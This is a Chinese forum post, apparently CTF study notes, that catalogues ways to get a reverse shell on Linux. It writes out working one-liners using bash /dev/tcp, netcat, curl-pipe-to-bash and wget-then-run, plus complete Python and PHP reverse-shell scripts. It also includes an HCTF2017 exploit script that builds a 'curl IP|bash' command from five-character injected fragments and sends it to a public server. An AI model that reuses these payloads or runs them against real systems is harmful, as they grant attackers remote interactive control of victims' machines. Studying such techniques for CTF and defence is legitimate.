Linux下几种常见的反弹shell方式

打印 上一主题 下一主题

主题 929|帖子 929|积分 2787

最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。
1.bash反弹shell

个人感觉bash反弹是最简朴、也是最常见的一种。
  1. bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
复制代码
bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分分析,具体内容如下。


其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互情况与本田主机主动发起与目标主机8080端口建立的毗连(即TCP 8080 会话毗连)相结合,然后在重定向个tcp 8080会话毗连,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹情况。
在反弹shell时要借助netcat工具反弹
Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC情况
开启外网主机监听
  1. root@kali:~# nc -lvvp 8080
  2. listening on [any] 8080 ...
复制代码
kali : 192.168.20.151
centos:192.168.20.130
先用kali开启监听:
然后centos执行bash一句话。


成功反弹。
2.netcat 一句话反弹

  1. ~  nc 192.168.31.151 7777 -t  /bin/bash
  2. 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。
复制代码
先开启监听7777端口。



交互式反弹
3.curl反弹shell

前提要利用bash一句话的情况下利用curl反弹shell
在存在命令执行的服务器上执行curl ip|bash,该ip的index文件上含有bash一句话,就可以反弹shell。
例如在本身的服务器index上写上一句话
  1. bash -i >& /dev/tcp/192.168.20.151/7777 0>&1
复制代码
192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。

存在一句话,利用curl反弹。
kali开启监听


4.wget方式反弹

利用wget进行下载执行
   wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php
  利用下面贴出的php进行反弹。
开启监听




成功反弹shell

5.其他脚本反弹

python反弹

开启kail监听




反弹成功。
py脚本

  1. #!/usr/bin/python
  2. #-*- coding: utf-8 -*-
  3. import socket,subprocess,os
  4. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  5. s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
  6. os.dup2(s.fileno(),0)
  7. os.dup2(s.fileno(),1)
  8. os.dup2(s.fileno(),2)
  9. p=subprocess.call(["/bin/sh","-i"])
复制代码
php反弹

开启kail监听端口,




成功反弹,不过这里要将php生存成txt文件进行反弹,若为php文件不会反弹成功。
php脚本:
  1. <?php
  2. $sock=fsockopen("192.168.20.151",7777);//localhost为自己的外网ip,端口任意
  3. exec("/bin/sh -i <&3 >&3 2>&3");
  4. ?>
复制代码
ctf遇到的命令执行反弹shell

HCTF2017的一道


这道题大概意思就是存在命令执行,但单次输入字符不得大于5。因此利用linux下特有的命令来写入shell反弹。原理就是利用curl ip|bash等许多方式去反弹shell。网上许多教程具体就不说了。
  1. import requests
  2. from time import sleep
  3. from urllib.parse import quote
  4. payload = [
  5.     # generate `ls -t>g` file
  6.     '>ls\\',
  7.     'ls>_',
  8.     '>\ \\',
  9.     '>-t\\',
  10.     '>\>g',
  11.     'ls>>_',
  12.     # generate `curl orange.tw.tw|python`
  13.     # generate `curl 10.188.2.20|bash`
  14.     '>sh\ ',
  15.     '>ba\\',
  16.     '>\|\\',
  17.     # '>03\\',
  18.     # '>90\\',
  19.     '>0\\',
  20.     '>20\\',
  21.     '>1.\\',
  22.     '>12\\' ,
  23.     '>7.\\',
  24.     '>10\\' ,
  25.     '>9.\\',
  26.     '>3\\',
  27.     '>\ \\',
  28.     '>rl\\',
  29.     '>cu\\',
  30.    
  31.     #exec
  32.     'sh _',
  33.     'sh g',
  34. ]
  35. r = requests.get('http://120.79.33.253:9003/?reset=1')
  36. for i in payload:
  37.     assert len(i) <= 5
  38.     r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
  39.     print (i)
  40.     sleep(0.2)
复制代码
在本身服务器中放入bash一句话,利用curl ip|bash反弹shell
开启监听,执行后可反弹shell。

利用linux文件写入本领得到

ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中

可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操纵,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小小小幸运

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表